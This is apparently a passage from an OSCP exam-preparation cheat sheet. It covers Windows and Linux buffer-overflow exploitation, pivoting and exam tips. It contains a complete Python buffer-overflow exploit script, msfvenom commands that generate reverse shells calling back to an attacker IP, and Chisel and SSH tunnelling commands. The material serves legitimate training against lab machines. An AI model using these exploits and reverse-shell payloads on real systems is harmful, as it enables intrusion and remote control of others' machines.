Use a tool like mona.py in Immunity Debugger.
!mona jmp -r espAlternatively, in Immunity Debugger, right-click -> Search for -> All commands in all modules, and search for JMP ESP. Choose an address from a non-ASLR module (e.g., essfunc.dll). Remember to write it in little-endian format (e.g., 0x625011af becomes \xaf\x11\x50\x62).
6. Exploiting
Generate shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.82 LPORT=4444 EXITFUNC=thread -f py -a x86 -b "\x00"Final exploit script:
#!/usr/bin/python
import sys, socket
# msfvenom shellcode here
shellcode = ("\xb8\x0c\x65...")
# A's up to offset, JMP ESP address, NOP sled, shellcode
overflow = 'A' * 2003 + "\xaf\x11\x50\x62" + '\x90' * 32 + shellcode
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.0.71', 9999))
s.send('TRUN /.:/' + overflow)
s.close()
except:
print('Error connecting to server')
sys.exit()Linux BOF
Check ASLR:
cat /proc/sys/kernel/randomize_va_space0: ASLR Disabled1or2: ASLR Enabled
Check protections:
gdb checksec <binary>ldd <binary>ltrace <binary>Tools:
one_gadget (for finding RCE in libc)
Misc
SSH Permissions
chmod 700 ~/.ssh
chmod 644 ~/.ssh/authorized_keys
chmod 644 ~/.ssh/known_hosts
chmod 644 ~/.ssh/config
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/id_rsa.pubMsfvenom Payloads
msfvenom --list formats
msfvenom --list encoders
# PHP
msfvenom -p php/reverse_php LHOST=192.168.0.110 LPORT=443 > tmp.php
# Linux Elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elfCryptography
Hash Identifier (Kali):
hash-identifier,hashid
Pivoting
Chisel:
Attacker Machine:
./chisel server -p 8080 --reversePivot Machine:
chisel.exe client attacker_ip:8080 R:socksProxychains Config (
/etc/proxychains.conf):socks5 127.0.0.1 1080Scanning through pivot:
proxychains nmap 10.10.10.10 -T5 -Pn -sT
Pivot via SSH key (Port Forwarding)
# Forward local port 9000 to remote web_ip:port through the ssh_ip host
ssh -i root.key -L 9000:web_ip:port user@ssh_ip
# Ex: ssh -i root.key -L9000:10.10.10.75:80 [email protected]Pivot via SSH (Dynamic Port Forwarding / SOCKS Proxy)
ssh -D 1080 user@pivot_ipConfigure Burp / FoxyProxy to use SOCKS proxy on
127.0.0.1:1080In
/etc/proxychains.conf, changesocks4tosocks5(127.0.0.1 1080).
Tips
Preparation Tips
Learn as many techniques as possible so you always have an alternate option.
"Try harder" doesn't mean trying the same exploit with 200x thread count. It means enumerate harder.
Exam Tips
You have unlimited breaks, use them.
24 reverts are plenty.
The machines are intentionally vulnerable to a specific exploit. Your goal is to find that path. It's often easier than real-world pentesting.
ippsec.rocks is a great resource for finding videos on specific services/vulnerabilities.
Tip for Enumeration
Scan all ports using different techniques.
Brute force web directories with different wordlists and tools.
Check for file permissions, registry entries, writable folders, privileged processes, and interesting files.
Look for exploits using
searchsploitand Google.
Tip for Foothold
Check for password reuse.
Check for default passwords for applications / CMS.
If you find LFI, guess file locations based on usernames you've found.
Usernames found in notes/files can be used for bruteforcing.
Resources & Practice
OSCP Journeys and Preparation guides:
Cheatsheets
Tools
Approved Tools List: https://falconspy.medium.com/unofficial-oscp-approved-tools-b2b4e889e707
Enumeration:
Note Taking:
Practice Arena:
HackTheBox: https://www.hackthebox.eu
Vulnhub: https://www.vulnhub.com
Practical Pentest Labs: https://practicalpentestlabs.com
Try Hack Me: https://tryhackme.com/
OSCP Like VMs (TJNull List): Google Sheets Link
Last updated
Was this helpful?